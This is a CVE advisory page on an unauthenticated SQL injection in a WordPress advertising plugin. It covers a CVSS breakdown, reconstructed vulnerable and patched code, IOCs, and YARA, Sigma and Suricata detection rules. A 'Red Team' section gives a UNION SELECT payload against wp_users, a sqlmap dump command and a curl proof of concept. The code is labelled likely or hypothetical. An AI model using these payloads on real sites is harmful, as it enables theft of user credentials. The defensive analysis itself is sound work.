CVE-2025-4381
Executive Summary
CVE-2025-4381 is a critical unauthenticated SQL Injection vulnerability discovered in the Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress, affecting all versions up to and including 4.89. The flaw resides in the getSpace() function, where the $id parameter is insufficiently sanitized and not properly prepared for SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands into existing queries, leading to the extraction of sensitive information from the WordPress database, such as user credentials, session tokens, and private content.
As a WordPress plugin vulnerability, this issue is entirely within the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin's failure to use parameterized queries or proper input validation makes it a prime target for automated scanning and exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a third-party WordPress plugin distributed through the official WordPress plugin repository and potentially other marketplaces. The lack of a patch or official advisory from the vendor increases supply chain risk. Organizations using this plugin should treat it as a compromised component and either apply a virtual patch or remove it until a fix is available.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The high confidentiality impact reflects the ability to extract the entire WordPress database, including password hashes and sensitive user data. The low attack complexity and lack of authentication make this a severe threat for unpatched installations.
Deep Dive & Mechanics
The vulnerability exists in the getSpace() function of the Ads Pro plugin. The function accepts a user-supplied $id parameter, which is directly concatenated into an SQL query without proper escaping or parameterization. The vulnerable code path likely resembles:
function getSpace($id) {
global $wpdb;
$query = "SELECT * FROM {$wpdb->prefix}ads_spaces WHERE id = $id";
return $wpdb->get_results($query);
}
Because $id is not sanitized, an attacker can inject SQL commands by providing input such as 1 UNION SELECT user_login, user_pass FROM wp_users. The lack of prepared statements (e.g., $wpdb->prepare()) allows the injection to succeed.
The $id variable is likely derived from a GET or POST parameter, making the attack vector trivial for unauthenticated users. The plugin's failure to use WordPress's built-in database abstraction layer correctly is the root cause.
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.89):
function getSpace($id) {
global $wpdb;
$query = "SELECT * FROM {$wpdb->prefix}ads_spaces WHERE id = $id";
return $wpdb->get_results($query);
}
Patched Code (Hypothetical):
function getSpace($id) {
global $wpdb;
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}ads_spaces WHERE id = %d",
intval($id)
);
return $wpdb->get_results($query);
}
The patched version uses $wpdb->prepare() with a placeholder (%d) and casts the input to an integer, preventing any SQL injection. Without an official patch, users must implement this fix manually or use a Web Application Firewall (WAF) rule.
Exploitation & Lab Setup
Red Team
Lab Environment:
- WordPress 6.x with Ads Pro Plugin v4.89
- Kali Linux attacker machine
- Burp Suite or curl for HTTP requests
Exploitation Steps:
Identify a vulnerable endpoint that calls
getSpace(). This is typically an AJAX action or a shortcode handler. For example, a request to:POST /wp-admin/admin-ajax.php action=get_space&id=1Inject SQL via the
idparameter:id=1 UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users--Use a tool like sqlmap for automated exploitation:
sqlmap -u "http://target/wp-admin/admin-ajax.php?action=get_space&id=1" --batch --dump
Proof-of-Concept (PoC) using curl:
curl -X POST "http://target/wp-admin/admin-ajax.php" \
-d "action=get_space&id=1 UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users--"
Blue Team
Detection & Response:
- Monitor for SQL injection patterns in HTTP requests, especially
UNION,SELECT,FROM, and--in theidparameter. - Enable WordPress audit logging to track calls to
getSpace(). - Use a WAF to block requests containing SQL keywords in the
idparameter.
Honeypot Setup:
- Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker payloads.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=get_spaceand suspiciousidparameters. - SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
- HTTP requests to
- File IOCs:
- Modified
wp-config.phpor plugin files indicating backdoor insertion.
- Modified
- Database IOCs:
- Unexpected entries in
wp_optionsorwp_userstables. - New admin users created by the attacker.
- Unexpected entries in
Detection Engineering
YARA Rule
rule CVE_2025_4381_AdsPro_SQLi {
meta:
description = "Detects Ads Pro plugin files vulnerable to SQL injection in getSpace()"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-4381"
strings:
$func = "function getSpace("
$unsafe = /\\\$id\s*\)/
$query = /WHERE id = \$id/
condition:
$func and $unsafe and $query
}
Sigma Rule
title: CVE-2025-4381 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the Ads Pro plugin getSpace() function
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=get_space'
cs-uri-query|contains|all:
- 'id='
- 'UNION'
- 'SELECT'
condition: selection
falsepositives:
- Legitimate use of UNION in rare cases
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-4381 Ads Pro SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=get_space"; http_client_body; pcre:"/id=.*(UNION|SELECT|FROM|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Apply a virtual patch using a WAF (e.g., ModSecurity rule to block SQL keywords in
idparameter). - Review database logs for signs of exploitation.
Long-term Fix:
- Replace the vulnerable
getSpace()function with a parameterized query using$wpdb->prepare(). - Conduct a full code audit of the plugin for similar vulnerabilities.
- Monitor the plugin's official page for updates.
Workaround:
- If the plugin cannot be disabled, restrict access to
admin-ajax.phpusing.htaccess:
(Note: This may break legitimate AJAX functionality.)<Files "admin-ajax.php"> Require all denied </Files>
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.